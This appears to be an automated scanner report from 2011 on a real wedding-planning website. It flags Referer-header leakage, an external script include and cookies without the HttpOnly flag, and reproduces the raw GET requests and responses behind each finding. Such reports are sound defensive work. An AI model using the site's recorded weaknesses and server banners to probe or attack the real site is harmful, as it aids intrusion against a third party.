If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /Real-Weddings/73399/view.aspx?id=73399&type=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:29 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135729168738; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135729168738; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 80983
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
GET /Real-Weddings/Bouquets/results.aspx?type=3&wedding_details=Bridal+Bouquets%2CBridesmaid+Bouquets HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:16 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135716167560; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135716167560; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81038
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
GET /Real-Weddings/Cake/results.aspx?type=3&wedding_details=Cake& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:47 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135747165674; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135747165674; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 99602
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx?type=3&wedding+details=Centerpieces&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:24 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135724163192; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135724163192; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 110060
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
GET /Real-Weddings/reception-decor-and-reception/results.aspx?type=3&wedding+details=reception+decor%2creception&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:20 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135720166821; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135720166821; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82013
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
GET /Wedding-Invitations/results.aspx?type=23&TM=23& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:10 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135809165889; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135809165889; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Set-Cookie: SearchParameter=Parameters=; path=/ Set-Cookie: SearchParameter=Parameters=; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 168720
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /Real-Weddings/73399/view.aspx?id=73399&type=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:29 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135729168738; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135729168738; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 80983
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /Real-Weddings/Bouquets/results.aspx?type=3&wedding_details=Bridal+Bouquets%2CBridesmaid+Bouquets HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:16 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135716167560; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135716167560; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81038
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /Real-Weddings/Cake/results.aspx?type=3&wedding_details=Cake& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:47 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135747165674; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135747165674; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 99602
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx?type=3&wedding+details=Centerpieces&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:24 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135724163192; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135724163192; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 110060
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The response dynamically includes the following script from another domain:
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /Real-Weddings/reception-decor-and-reception/results.aspx?type=3&wedding+details=reception+decor%2creception&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:20 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135720166821; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135720166821; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82013
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PWP/pwp2 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sun, 02 Jan 2011 13:57:53 GMT Content-Length: 160 Content-Type: text/html Location: http://weddings.theknot.com/PWP/pwp2/ Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135753167515; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT;
<head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="http://weddings.theknot.com/PWP/pwp2/">here</a></body>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PWP/pwp2/ HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PWP/pwp2/savethedate/ HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/73399/view.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:26 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135726167762; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 880 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=view.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=view.asp ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/Bouquets/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:14 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135714166870; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/Cake/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:36 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135736159086; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:21 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135721165127; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/reception-decor-and-reception/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:18 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135718168151; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Wedding-Invitations/results.aspx?type=23&TM=23& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:10 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135809165889; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135809165889; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Set-Cookie: SearchParameter=Parameters=; path=/ Set-Cookie: SearchParameter=Parameters=; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 168720
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /budgeter/default.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sun, 02 Jan 2011 13:57:49 GMT Content-Length: 172 Content-Type: text/html Location: http://planning.theknot.com/budgeter/default.aspx Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135749162254; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT;
<head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="http://planning.theknot.com/budgeter/default.aspx">here</a></body>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /myinnerbride/Default.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:14 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135814164426; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 25633
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pwp/landing/pwp_main.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pwp/pwp2/ChooseDesign.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pwp/pwp_offers.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:52 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135752167230; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=khyzeq45ekl1kd45iaisdq45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 29036
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <html> <head> <title>Wedding Website - Free Wedding Websites - Personal Wedding Websites</title>
<meta name="title" content="Wedding ...[SNIP]...
Report generated by XSS.CX at Sun Jan 02 19:19:33 CST 2011.